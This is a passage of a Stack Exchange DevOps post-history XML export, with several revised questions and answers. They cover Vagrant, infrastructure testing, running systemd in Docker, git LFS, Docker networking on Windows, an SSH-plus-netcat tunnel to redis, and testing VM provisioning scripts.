alternatives:&#xD;&#xA;&#xD;&#xA;Is there a way to control the &quot;Windows-Vagrant&quot; that is running on the Windows host from inside a Linux VM (which itself is not under Vagrant control), i.e., to use `vagrant up` or `vagrant ssh`?&#xD;&#xA;&#xD;&#xA;Alternatively, is it possible to install &quot;Linux-Vagrant&quot; in my existing VM right away (i.e. the Debian version) and have it create its VM in the *Windows* host?&#xD;&#xA;&#xD;&#xA;Or is there a completely different way to solve this problem in an elegant fashion?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8690" PostHistoryTypeId="6" PostId="2778" RevisionGUID="f4cbdab7-7476-4ed6-a7a1-dadaf858c9d5" CreationDate="2017-12-04T15:19:43.120" UserId="4175" Comment="added 35 characters in body" Text="&lt;vagrant&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8691" PostHistoryTypeId="2" PostId="2783" RevisionGUID="ae4bab5c-1370-4109-8914-4b3b956c970a" CreationDate="2017-12-04T16:15:27.203" UserId="47" Text="IMHO it's rather redundant to write TDD tests for items entirely covered by the IaaC state specification. Doing so implies that the effectiveness of the IaaC is questionable - why would you use it if so?&#xD;&#xA;&#xD;&#xA;Looking at it from a different prospective IaaC itself (if/when done properly) incorporates capabilities already tested and considered to be functioning reliably. Which is what makes it attractive and which makes writing TDD matching tests redundant.&#xD;&#xA;&#xD;&#xA;For example, an IaaC configuration specifying a system with SSH being installed already incorporates reliable checking for SSH being correctly installed and, if not, mechanisms for properly installing it. Which makes a TDD test for checking if SSH is installed redundant." ContentLicense="CC BY-SA 3.0" />
  <row Id="8692" PostHistoryTypeId="2" PostId="2784" RevisionGUID="dd5a1161-ee7f-4207-b0ff-e43b311a8427" CreationDate="2017-12-04T17:22:11.993" UserId="4011" Text="This question is discussed in some detail in [issue 7950][1]  The conclusion seems to be that:&#xD;&#xA;&#xD;&#xA;- Depending on your storage configuration, the kernel page cache may be used if multiple containers are accessing the same file (e.g., see [OverlayFS and Docker Performance][3]).&#xD;&#xA;&#xD;&#xA;- You may be able to enable [Kernel same-page merging][2] through use of of the [ksm_preload][4] tool.&#xD;&#xA;&#xD;&#xA;[1]: https://github.com/moby/moby/issues/7950&#xD;&#xA;[2]: https://openvz.org/KSM_(kernel_same-page_merging)#Enabling_memory_deduplication_libraries_in_containers&#xD;&#xA;[3]: https://docs.docker.com/engine/userguide/storagedriver/overlayfs-driver/#overlayfs-and-docker-performance&#xD;&#xA;[4]: https://vleu.net/ksm_preload/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8696" PostHistoryTypeId="2" PostId="2786" RevisionGUID="aab419cd-80a2-46e5-9977-04e5141caedc" CreationDate="2017-12-04T17:41:12.210" UserId="4011" Text="You didn't mention what distribution you're using inside your container (which would have implications w/r/t which version of systemd you're using), but the following will successfully boot a CentOS container running systemd:&#xD;&#xA;&#xD;&#xA;    docker run -it --rm \&#xD;&#xA;      -e container=docker \&#xD;&#xA;      --tmpfs /run \&#xD;&#xA;      --tmpfs /tmp \&#xD;&#xA;      -v /sys/fs/cgroup:/sys/fs/cgroup:ro \&#xD;&#xA;      --cap-add SYS_ADMIN \&#xD;&#xA;      centos /sbin/init&#xD;&#xA;&#xD;&#xA;This is with Docker 17.05.0-ce; older versions may require additional flags.&#xD;&#xA;&#xD;&#xA;Note that I'm using `--rm` here not because it's necessary but because I'm terrible at cleaning things up after the fact.  It's not necessary to get the container to run.&#xD;&#xA;&#xD;&#xA;&gt;  but looks like most of them compromise the security of the container and the host&#xD;&#xA;&#xD;&#xA;Well, running systemd does require privileges beyond those granted to a typical Docker container (hence the `--cap-add`).  Whether this has security implications for your environment or not depends on what you're doing." ContentLicense="CC BY-SA 3.0" />
  <row Id="8697" PostHistoryTypeId="5" PostId="2786" RevisionGUID="fd61dec6-f731-4279-bd11-04ad5970b47f" CreationDate="2017-12-04T17:49:36.110" UserId="4011" Comment="added 956 characters in body" Text="You didn't mention what distribution you're using inside your container (which would have implications w/r/t which version of systemd you're using), but the following will successfully boot a CentOS container running systemd:&#xD;&#xA;&#xD;&#xA;    docker run -it --rm \&#xD;&#xA;      -e container=docker \&#xD;&#xA;      --tmpfs /run \&#xD;&#xA;      --tmpfs /tmp \&#xD;&#xA;      -v /sys/fs/cgroup:/sys/fs/cgroup:ro \&#xD;&#xA;      --cap-add SYS_ADMIN \&#xD;&#xA;      centos /sbin/init&#xD;&#xA;&#xD;&#xA;This is with Docker 17.05.0-ce; older versions may require additional flags.  Using a stock `centos:7` image, your initial environment inside the container looks like this:&#xD;&#xA;&#xD;&#xA;    # systemctl status&#xD;&#xA;        State: running&#xD;&#xA;         Jobs: 0 queued&#xD;&#xA;       Failed: 0 units&#xD;&#xA;        Since: Mon 2017-12-04 17:47:15 UTC; 45s ago&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;And:&#xD;&#xA;&#xD;&#xA;    # ps -fe&#xD;&#xA;    UID        PID  PPID  C STIME TTY          TIME CMD&#xD;&#xA;    root         1     0  0 17:47 ?        00:00:00 /sbin/init&#xD;&#xA;    root        16     1  0 17:47 ?        00:00:00 /usr/lib/systemd/systemd-journald&#xD;&#xA;    dbus        26     1  0 17:47 ?        00:00:00 /bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation&#xD;&#xA;    root        28     1  0 17:47 ?        00:00:00 /usr/lib/systemd/systemd-logind&#xD;&#xA;    root        30     1  0 17:47 console  00:00:00 /sbin/agetty --noclear --keep-baud console 115200 38400 9600 vt220&#xD;&#xA;    root        32     0  0 17:47 ?        00:00:00 bash&#xD;&#xA;    root        58    32  0 17:48 ?        00:00:00 ps -fe&#xD;&#xA;&#xD;&#xA;Note that I'm using `--rm` here not because it's necessary but because I'm terrible at cleaning things up after the fact.  It's not necessary to get the container to run.&#xD;&#xA;&#xD;&#xA;&gt;  but looks like most of them compromise the security of the container and the host&#xD;&#xA;&#xD;&#xA;Well, running systemd does require privileges beyond those granted to a typical Docker container (hence the `--cap-add`).  Whether this has security implications for your environment or not depends on what you're doing.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8698" PostHistoryTypeId="2" PostId="2787" RevisionGUID="8b9d6378-776c-45ed-8925-c037c770c463" CreationDate="2017-12-04T18:29:00.683" UserId="4175" Text="In short, I see two categories of tests for your infrastructure: 1) does it have everything you need to run your application and 2) does it not have any superfluous stuff.&#xD;&#xA;&#xD;&#xA;First and foremost, you can treat the test suite of your actual software as a kind of &quot;meta test&quot; for your infrastructure. As long as you create the infrastructure from scratch for each test run, and the test suite runs completely on that infrastructure (i.e., doesn't use outside services) the fact that the whole suite is green means that your codified infrastructure is sufficient as well.&#xD;&#xA;&#xD;&#xA;Second, especially from the security perspective, you can write tests against your infrastructure. I.e., if one part of your infrastructure is a VM running Linux, you might write a test that does a port scan against that VM, to make sure that there are no unintentional ports open, which may have been installed by an unintended `apt-get install` side-effect. Or you could write tests that checks whether any unexpected files were changed after your proper test suite has completed. Or you could check the `ps` outputs of your VMs or Docker containers for unexpected processes and such, build white-lists etc., and thus get automatic notification if some 3rd party package changed in an undocumented (or unnoticed way) in some upgrade.&#xD;&#xA;&#xD;&#xA;These second type of tests are, in a way, similar to what you would do in a classical ops setting anyway, i.e., hardening your servers and checking for intrusions, avoiding full ressource and such." ContentLicense="CC BY-SA 3.0" />
  <row Id="8705" PostHistoryTypeId="2" PostId="2789" RevisionGUID="6d3c897c-99c3-49b3-9ed7-61a702d5e393" CreationDate="2017-12-05T01:52:19.893" UserId="5051" Text="**When to decide whether a file should go to git LFS**&#xA;&#xA;Your files can go to git-lfs at any time, but it would be inneficient to implement this solution for few files. Specially if it's basic gradlew jars.&#xA;&#xA;I have used the gradlew strategy previously. The idea is to push this &quot;wrapper&quot; along your code to make the build process portable. Any platform with the proper JRE will be able to build the application in a similar fashion. This removes the headache of enforcing teams to install specific versions of gradle.&#xA;&#xA;The purpose of gi-lfs is to leverage the benefits of git along with the ability to store large files remotely by caching them and indexing them. It reduces the burden of downloading a big repository when binaries are stored.&#xA;&#xA;In my opinion you should start consider this solution when:&#xA;&#xA; &#xA; - Your git repository contains large files (anything in the MB magnitude)&#xA;&#xA; - They represent the main content of your repository&#xA; &#xA; - These files are updated regularly&#xA; &#xA; - It is taking your CI tool minutes to pull/clone the repository&#xA;&#xA;If you consider this solution to track binary versions, I would suggest you go for binary repositories instead such as:&#xA;&#xA;- [Jfrog Artifactory][1]&#xA;- [Archiva][2]&#xA;- [Nexus][3]&#xA;&#xA;**Does the existing CI configuration will break**&#xA;&#xA;If you decide to go git-lfs, the normal git commands won't work. You will need to either create symbolic links toward git-lfs after doing the setup or add `lfs` after `git` in your CI tool. i.e. `git clone` becomes `git lfs clone`.&#xA;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xA;  [2]: https://archiva.apache.org/index.cgi&#xA;  [3]: https://www.sonatype.com/nexus-repository-sonatype" ContentLicense="CC BY-SA 3.0" />
  <row Id="8706" PostHistoryTypeId="5" PostId="2783" RevisionGUID="cf0717f2-31a2-4da9-9ce5-f0103c61e1a2" CreationDate="2017-12-05T03:07:22.103" UserId="47" Comment="added clarification" Text="IMHO it's rather redundant to write TDD tests for items entirely covered by the IaaC state specification. Doing so implies that the effectiveness of the IaaC is questionable - why would you use it if so?&#xD;&#xA;&#xD;&#xA;Looking at it from a different prospective IaaC itself (if/when done properly) incorporates capabilities already tested and considered to be functioning reliably. Which is what makes it attractive and which makes writing TDD matching tests redundant.&#xD;&#xA;&#xD;&#xA;For example, an IaaC configuration specifying a system with SSH being installed already incorporates reliable checking for SSH being correctly installed and, if not, mechanisms for properly installing it. Which makes a TDD test for checking if SSH is installed redundant. If your IaaC config also specifies sshd to be started and listening on a specific port then TDD tests for sshd running and listening to the respective port would also be redundant.&#xD;&#xA;&#xD;&#xA;Note that my answer is not targeting TDD or any other type of testing that checks if your IaaC configuration as a whole fits a certain purpose. That remains valid and can be used in TDD, CI or similar checks during development of that IaaC specification - I believe @AnoE's answer is applicable in such case.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8709" PostHistoryTypeId="2" PostId="2791" RevisionGUID="e0c1a80d-298b-45a9-9be3-3a4069cfd94a" CreationDate="2017-12-05T05:53:12.690" UserId="707" Text="Given:&#xD;&#xA;&#xD;&#xA; 1. Windows 10 64 bit&#xD;&#xA; 2. Docker edge 17.11-ce-win40&#xD;&#xA;&#xD;&#xA;Experiment: &#xD;&#xA;&#xD;&#xA;    docker run -it --rm -p 8888:8080 tomcat:8.0&#xD;&#xA;&#xD;&#xA;Expected behaviour:&#xD;&#xA;&#xD;&#xA; - If all network settings are okay, Tomcat must be reachable locally and from outside on the host port 8888.&#xD;&#xA;&#xD;&#xA;Observed behaviour:&#xD;&#xA;&#xD;&#xA; - ERR_EMPTY_RESPONSE locally/from outside&#xD;&#xA; - Flipping Windows Firewall leads to the question whether vpnkit should be allowed, allowing leads to no change&#xD;&#xA; - nmap from outside reveals port open&#xD;&#xA; - telnet is possible as well but no further interaction &#xD;&#xA; - &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8710" PostHistoryTypeId="1" PostId="2791" RevisionGUID="e0c1a80d-298b-45a9-9be3-3a4069cfd94a" CreationDate="2017-12-05T05:53:12.690" UserId="707" Text="Debug Docker networking and Windows 10 firewall" ContentLicense="CC BY-SA 3.0" />
  <row Id="8711" PostHistoryTypeId="3" PostId="2791" RevisionGUID="e0c1a80d-298b-45a9-9be3-3a4069cfd94a" CreationDate="2017-12-05T05:53:12.690" UserId="707" Text="&lt;docker&gt;&lt;windows&gt;&lt;firewall&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8712" PostHistoryTypeId="5" PostId="2791" RevisionGUID="c036a9e4-b808-47b8-81b4-117d0110c16b" CreationDate="2017-12-05T06:07:21.193" UserId="707" Comment="added 1732 characters in body" Text="**Given:**&#xD;&#xA;&#xD;&#xA; 1. Windows 10 64 bit&#xD;&#xA; 2. Docker edge 17.11-ce-win40&#xD;&#xA;&#xD;&#xA;**Experiment:** &#xD;&#xA;&#xD;&#xA;    docker run -it --rm -p 8888:8080 tomcat:8.0&#xD;&#xA;&#xD;&#xA;Expected behaviour:&#xD;&#xA;&#xD;&#xA; - If all network settings are okay, Tomcat must be reachable locally and from outside on the host port 8888.&#xD;&#xA;&#xD;&#xA;**Observed behaviour:**&#xD;&#xA;&#xD;&#xA; - `curl localhost:8080` inside container proves Tomcat to be up and running&#xD;&#xA; - ERR_EMPTY_RESPONSE locally/from outside&#xD;&#xA; - Flipping Windows Firewall leads to the question whether vpnkit should be allowed, allowing leads to no change&#xD;&#xA; - nmap from outside reveals port open&#xD;&#xA; - telnet is possible as well but no further interaction &#xD;&#xA; - `docker inspect -f '{{ .NetworkSettings.Networks.nat.IPAddress }} &lt;CONTAINER_ID&gt;` outputs `&lt;no value&gt;`&#xD;&#xA; - find `ipconfig /all` output below&#xD;&#xA; &#xD;&#xA;**Further debugging**&#xD;&#xA;&#xD;&#xA;    ipconfig /all [excerpt]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;       Hostname  . . . . . . . . . . . . : foo&#xD;&#xA;       Primäres DNS-Suffix . . . . . . . : foo.com&#xD;&#xA;       Knotentyp . . . . . . . . . . . . : Hybrid&#xD;&#xA;       IP-Routing aktiviert  . . . . . . : No&#xD;&#xA;       WINS-Proxy aktiviert  . . . . . . : No&#xD;&#xA;       DNS-Suffixsuchliste . . . . . . . : foo.com&#xD;&#xA;    &#xD;&#xA;    Ethernet-Adapter vEthernet (DockerNAT):&#xD;&#xA;    &#xD;&#xA;       Verbindungsspezifisches DNS-Suffix:&#xD;&#xA;       Beschreibung. . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter&#xD;&#xA;       Physische Adresse . . . . . . . . : 00-15-5D-48-8F-A4&#xD;&#xA;       DHCP aktiviert. . . . . . . . . . : No&#xD;&#xA;       Autokonfiguration aktiviert . . . : Yes&#xD;&#xA;       Verbindungslokale IPv6-Adresse  . : fe80::e93b:535c:4ea5:84cf%18&#xD;&#xA;       IPv4-Adresse  . . . . . . . . . . : 10.0.75.1&#xD;&#xA;       Subnetzmaske  . . . . . . . . . . : 255.255.255.0&#xD;&#xA;       Standardgateway . . . . . . . . . :&#xD;&#xA;       DNS-Server  . . . . . . . . . . . : fec0:0:0:ffff::1%1&#xD;&#xA;                                           fec0:0:0:ffff::2%1&#xD;&#xA;                                           fec0:0:0:ffff::3%1&#xD;&#xA;       NetBIOS über TCP/IP . . . . . . . : Active&#xD;&#xA;    &#xD;&#xA;    Ethernet-Adapter Ethernet:&#xD;&#xA;    &#xD;&#xA;       Verbindungsspezifisches DNS-Suffix: foo.com&#xD;&#xA;       Beschreibung. . . . . . . . . . . : Realtek USB GbE Family Controller&#xD;&#xA;       Physische Adresse . . . . . . . . : D4-81-D7-57-AC-C6&#xD;&#xA;       DHCP aktiviert. . . . . . . . . . : Yes&#xD;&#xA;       Autokonfiguration aktiviert . . . : Yes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8713" PostHistoryTypeId="5" PostId="2791" RevisionGUID="4afebef0-07ed-4ce5-afbf-1cf9a422e2fc" CreationDate="2017-12-05T06:16:25.190" UserId="707" Comment="added 2 characters in body" Text="**Given:**&#xD;&#xA;&#xD;&#xA; 1. Windows 10 / 64 bit&#xD;&#xA; 2. Docker edge 17.11-ce-win40&#xD;&#xA;&#xD;&#xA;**Experiment:** &#xD;&#xA;&#xD;&#xA;    docker run -it --rm -p 8888:8080 tomcat:8.0&#xD;&#xA;&#xD;&#xA;Expected behaviour:&#xD;&#xA;&#xD;&#xA; - If all network settings are okay, Tomcat must be reachable locally and from outside on the host port 8888.&#xD;&#xA;&#xD;&#xA;**Observed behaviour:**&#xD;&#xA;&#xD;&#xA; - `curl localhost:8080` inside container proves Tomcat to be up and running&#xD;&#xA; - ERR_EMPTY_RESPONSE locally/from outside&#xD;&#xA; - Flipping Windows Firewall leads to the question whether vpnkit should be allowed, allowing leads to no change&#xD;&#xA; - nmap from outside reveals port open&#xD;&#xA; - telnet is possible as well but no further interaction &#xD;&#xA; - `docker inspect -f '{{ .NetworkSettings.Networks.nat.IPAddress }} &lt;CONTAINER_ID&gt;` outputs `&lt;no value&gt;`&#xD;&#xA; - find `ipconfig /all` output below&#xD;&#xA; &#xD;&#xA;**Further debugging**&#xD;&#xA;&#xD;&#xA;    ipconfig /all [excerpt]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;       Hostname  . . . . . . . . . . . . : foo&#xD;&#xA;       Primäres DNS-Suffix . . . . . . . : foo.com&#xD;&#xA;       Knotentyp . . . . . . . . . . . . : Hybrid&#xD;&#xA;       IP-Routing aktiviert  . . . . . . : No&#xD;&#xA;       WINS-Proxy aktiviert  . . . . . . : No&#xD;&#xA;       DNS-Suffixsuchliste . . . . . . . : foo.com&#xD;&#xA;    &#xD;&#xA;    Ethernet-Adapter vEthernet (DockerNAT):&#xD;&#xA;    &#xD;&#xA;       Verbindungsspezifisches DNS-Suffix:&#xD;&#xA;       Beschreibung. . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter&#xD;&#xA;       Physische Adresse . . . . . . . . : 00-15-5D-48-8F-A4&#xD;&#xA;       DHCP aktiviert. . . . . . . . . . : No&#xD;&#xA;       Autokonfiguration aktiviert . . . : Yes&#xD;&#xA;       Verbindungslokale IPv6-Adresse  . : fe80::e93b:535c:4ea5:84cf%18&#xD;&#xA;       IPv4-Adresse  . . . . . . . . . . : 10.0.75.1&#xD;&#xA;       Subnetzmaske  . . . . . . . . . . : 255.255.255.0&#xD;&#xA;       Standardgateway . . . . . . . . . :&#xD;&#xA;       DNS-Server  . . . . . . . . . . . : fec0:0:0:ffff::1%1&#xD;&#xA;                                           fec0:0:0:ffff::2%1&#xD;&#xA;                                           fec0:0:0:ffff::3%1&#xD;&#xA;       NetBIOS über TCP/IP . . . . . . . : Active&#xD;&#xA;    &#xD;&#xA;    Ethernet-Adapter Ethernet:&#xD;&#xA;    &#xD;&#xA;       Verbindungsspezifisches DNS-Suffix: foo.com&#xD;&#xA;       Beschreibung. . . . . . . . . . . : Realtek USB GbE Family Controller&#xD;&#xA;       Physische Adresse . . . . . . . . : D4-81-D7-57-AC-C6&#xD;&#xA;       DHCP aktiviert. . . . . . . . . . : Yes&#xD;&#xA;       Autokonfiguration aktiviert . . . : Yes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8714" PostHistoryTypeId="2" PostId="2792" RevisionGUID="7741d4db-3aec-41f6-89e8-4e23d727c2ed" CreationDate="2017-12-05T10:51:18.180" UserId="5431" Text="I found out how to do it without pipeline. It only has to do with command line script:&#xD;&#xA;&#xD;&#xA;    start &quot;&quot; C:\MyApp\MyApp.exe &gt;&gt; text.txt&#xD;&#xA;This call is asynchronic (i.e., the command line won't wait for MyApp.exe to return). If you want it to wait, you can use the /w flag, like this:&#xD;&#xA;&#xD;&#xA;    start /w &quot;&quot; C:\MyApp\MyApp.exe &gt;&gt; text.txt" ContentLicense="CC BY-SA 3.0" />
  <row Id="8715" PostHistoryTypeId="50" PostId="2250" RevisionGUID="6f55f7c4-7a71-4b0b-9ba9-c485ef665d20" CreationDate="2017-12-05T12:39:02.813" UserId="-1" />
  <row Id="8716" PostHistoryTypeId="5" PostId="2792" RevisionGUID="f4e2a54b-22ea-4bed-b9a2-90ec67956cb1" CreationDate="2017-12-05T12:58:48.480" UserId="47" Comment="improved readability" Text="I found out how to do it without pipeline. It only has to do with command line script:&#xD;&#xA;&#xD;&#xA;    start &quot;&quot; C:\MyApp\MyApp.exe &gt;&gt; text.txt&#xD;&#xA;This call is asynchronous (i.e., the command line won't wait for MyApp.exe to return). If you want it to wait, you can use the /w flag, like this:&#xD;&#xA;&#xD;&#xA;    start /w &quot;&quot; C:\MyApp\MyApp.exe &gt;&gt; text.txt" ContentLicense="CC BY-SA 3.0" />
  <row Id="8717" PostHistoryTypeId="2" PostId="2793" RevisionGUID="d5f0bd89-f85a-4c0e-9944-503ab99db6e4" CreationDate="2017-12-05T13:22:40.387" UserId="5583" Text="I'm currently extending my DevOps team, without forgetting skills, for me, the most important thing is the &quot;mindset&quot;.&#xD;&#xA;Amazingly, not a lot of people around with the right mindset of continuous improvement. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8718" PostHistoryTypeId="2" PostId="2794" RevisionGUID="c224b498-163c-4136-8993-a68cefc23867" CreationDate="2017-12-05T13:41:11.420" UserId="5584" Text="I have a remote redis machine with no ssh and no open ports except to the same lan + a remote machine (on the same lan) with ssh + my pc outside the lan. What I'm trying to do (mostly to see if it's possible) is `redis-cli on my pc -&gt; ssh tunnel to the ssh machine -&gt; something -&gt; redis` so it would work.&#xD;&#xA;Is netcat + mkfifo the right way?&#xD;&#xA;Thanks :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="8719" PostHistoryTypeId="1" PostId="2794" RevisionGUID="c224b498-163c-4136-8993-a68cefc23867" CreationDate="2017-12-05T13:41:11.420" UserId="5584" Text="SSH tunneling on steroids" ContentLicense="CC BY-SA 3.0" />
  <row Id="8720" PostHistoryTypeId="3" PostId="2794" RevisionGUID="c224b498-163c-4136-8993-a68cefc23867" CreationDate="2017-12-05T13:41:11.420" UserId="5584" Text="&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8721" PostHistoryTypeId="2" PostId="2795" RevisionGUID="09624f22-301b-4fdf-b0ef-f57cca6284f0" CreationDate="2017-12-05T14:09:29.610" UserId="5585" Text="Currently I'm on a state that testing costs me money and a lot of time...&#xD;&#xA;&#xD;&#xA;Background: I'm deploying VMs at softlayer and using a post-deployment script(bash) that will install every software that I need after the VM is ready.&#xD;&#xA;The problem is, I can only test this script by deploying one VM, and it's currently taking around 4h for the script to finish... So every change that I make I need to create a new VM(costs money) and wait for around 4 hours to see if the script is broken or not... This is becoming chaotic and I won't be able to move forward if I stay this way.&#xD;&#xA;&#xD;&#xA;I need a new way to approach this kind of situation and be able to test the provisioning script more quickly and without needing to deploy a new VM every time.&#xD;&#xA;&#xD;&#xA;Do you guys know some tool to help me on this scenario ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8722" PostHistoryTypeId="1" PostId="2795" RevisionGUID="09624f22-301b-4fdf-b0ef-f57cca6284f0" CreationDate="2017-12-05T14:09:29.610" UserId="5585" Text="How to test VM provisioning script without provisioning" ContentLicense="CC BY-SA 3.0" />
  <row Id="8723" PostHistoryTypeId="3" PostId="2795" RevisionGUID="09624f22-301b-4fdf-b0ef-f57cca6284f0" CreationDate="2017-12-05T14:09:29.610" UserId="5585" Text="&lt;provisioning&gt;&lt;virtualization&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8724" PostHistoryTypeId="2" PostId="2796" RevisionGUID="5bc279b4-f839-4554-8c1f-235d6870932a" CreationDate="2017-12-05T14:26:14.653" UserId="5584" Text="This works, I wonder if there is a better solution.&#xD;&#xA;SSH tunnel + nc proxy&#xD;&#xA;&#xD;&#xA;`ssh $ssh_server -L $port:localhost:$port &quot;mkfifo /tmp/backpipe; nc -k -l localhost $port 0&lt;/tmp/backpipe | nc $redis_server $port | 1&gt;/tmp/backpipe&quot;`&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8725" PostHistoryTypeId="2" PostId="2797" RevisionGUID="2190fd17-3ec7-40ac-a698-5fa6f4bbbdd3" CreationDate="2017-12-05T15:13:05.703" UserId="210" Text="http://www.vagrantup.com&#xD;&#xA;&#xD;&#xA;You could use vagrant to deploy VMs on the local laptop.&#xD;&#xA;&#xD;&#xA;You could also check whether it is possible to split the script in smaller parts so it will not take four hours to test it." ContentLicense="CC BY-SA 3.0" />
  <row Id="8726" PostHistoryTypeId="6" PostId="2795" RevisionGUID="1ab4b857-84d6-4ea9-a226-2ca9e9915c31" CreationDate="2017-12-05T15:17:01.273" UserId="210" Comment="edited tags" Text="&lt;testing&gt;&lt;provisioning&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8727" PostHistoryTypeId="2" PostId="2798" RevisionGUID="511cb22d-a073-4991-b910-5738a08b7eb8" CreationDate="2017-12-05T15:39:19.683" UserId="4328" Text="If testing locally isn't an option, then the most straight forward approach would be to use disk volume snapshots/backups to your advantage. These will still cost $$$, but will save you time in the long run. Then separate your bash script into different working segments/scripts that can be tested individually. Once your server is provisioned, run a script, then take a snapshot. If it was successful, run the next script, take a snapshot, then rinse and repeat. If your script fails, modify the script, revert to the last successful snapshot, then try again. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8728" PostHistoryTypeId="5" PostId="2798" RevisionGUID="5a51cb42-24f9-49bc-8db7-e16c69c46cac" CreationDate="2017-12-05T15:49:20.777" UserId="4328" Comment="added 1598 characters in body" Text="If testing locally isn't an option, then the most straight forward approach would be to use disk volume snapshots/backups to your advantage. These will still cost $$$, but will save you time in the long run. Then separate your bash script into different working segments/scripts that can be tested individually. Once your server is provisioned, run a script, then take a snapshot. If it was successful, run the next script, take a snapshot, then rinse and repeat. If your script fails, modify the script, revert to the last successful snapshot, then try again. &#xD;&#xA;&#xD;&#xA;NOTE: I'm not sure if you can take snapshots of a virtual machine disks in IBM Cloud/Softlayer, but it looks like you can create a VM image pretty easily. &#xD;&#xA;&#xD;&#xA;&gt; Backing up virtual machine images&#xD;&#xA; &#xD;&#xA;&gt; You can back up a virtual machine&#xD;&#xA;&gt; image in your instance. This function creates a copy of the virtual&#xD;&#xA;&gt; machine image and cloud configuration that can be restored later.&#xD;&#xA;&gt; Additionally, you can manage these backup images. Details about the&#xD;&#xA;&gt; backup image are as follows: &#xD;&#xA;&gt; &#xD;&#xA;&gt; The backup image is an exact copy of the&#xD;&#xA;&gt; virtual machine image and the cloud configuration. No image cleanup is&#xD;&#xA;&gt; performed. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - The backup image cannot be deployed as a new instance. It&#xD;&#xA;&gt; can be used only to restore the associated virtual machine image and&#xD;&#xA;&gt; cloud configuration. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - Only the project owner (or an administrator) has&#xD;&#xA;&gt; access to restore the backup virtual machine images and backup virtual&#xD;&#xA;&gt; machine. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - If you are using an OpenStack cloud, only one instance backup&#xD;&#xA;&gt; operation is allowed at the same time. If another user is running a&#xD;&#xA;&gt; backup and you start one on the same instance, you receive an error&#xD;&#xA;&gt; that states there is a conflicting request. To perform a backup, you&#xD;&#xA;&gt; must wait until the other backup is finished. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - OpenStack PowerVM® and&#xD;&#xA;&gt; z/VM® instances do not support this action. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - If the instance is deleted&#xD;&#xA;&gt; by using IBM® Cloud Manager with OpenStack, the associated backups are&#xD;&#xA;&gt; also deleted.&#xD;&#xA;&#xD;&#xA;https://www.ibm.com/support/knowledgecenter/en/SST55W_4.1.0/liacb/liacbsaverestorevsvmw.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8729" PostHistoryTypeId="5" PostId="2798" RevisionGUID="1075994c-75e9-4d70-8dfa-b990b8c7755b" CreationDate="2017-12-05T16:05:33.933" UserId="4328" Comment="added 11 characters in body" Text="If testing locally isn't an option, then the most straight forward approach would be to use disk volume snapshots/backups to your advantage. These will still cost $$$, but will save you time in the long run. You should then separate your bash script into different working segments/scripts that can be tested individually. Once your server is provisioned, run a script, then take a snapshot. If it was successful, run the next script, take a snapshot, then rinse and repeat. If your script fails, modify the script, revert to the last successful snapshot, then try again. &#xD;&#xA;&#xD;&#xA;NOTE: I'm not sure if you can take snapshots of virtual machine disks in IBM Cloud/Softlayer, but it looks like you can create a VM image pretty easily. &#xD;&#xA;&#xD;&#xA;&gt; Backing up virtual machine images&#xD;&#xA; &#xD;&#xA;&gt; You can back up a virtual machine&#xD;&#xA;&gt; image in your instance. This function creates a copy of the virtual&#xD;&#xA;&gt; machine image and cloud configuration that can be restored later.&#xD;&#xA;&gt; Additionally, you can manage these backup images. Details about the&#xD;&#xA;&gt; backup image are as follows: &#xD;&#xA;&gt; &#xD;&#xA;&gt; The backup image is an exact copy of the&#xD;&#xA;&gt; virtual machine image and the cloud configuration. No image cleanup is&#xD;&#xA;&gt; performed. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - The backup image cannot be deployed as a new instance. It&#xD;&#xA;&gt; can be used only to restore the associated virtual machine image and&#xD;&#xA;&gt; cloud configuration. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - Only the project owner (or an administrator) has&#xD;&#xA;&gt; access to restore the backup virtual machine images and backup virtual&#xD;&#xA;&gt; machine. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - If you are using an OpenStack cloud, only one instance backup&#xD;&#xA;&gt; operation is allowed at the same time. If another user is running a&#xD;&#xA;&gt; backup and you start one on the same instance, you receive an error&#xD;&#xA;&gt; that states there is a conflicting request. To perform a backup, you&#xD;&#xA;&gt; must wait until the other backup is finished. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - OpenStack PowerVM® 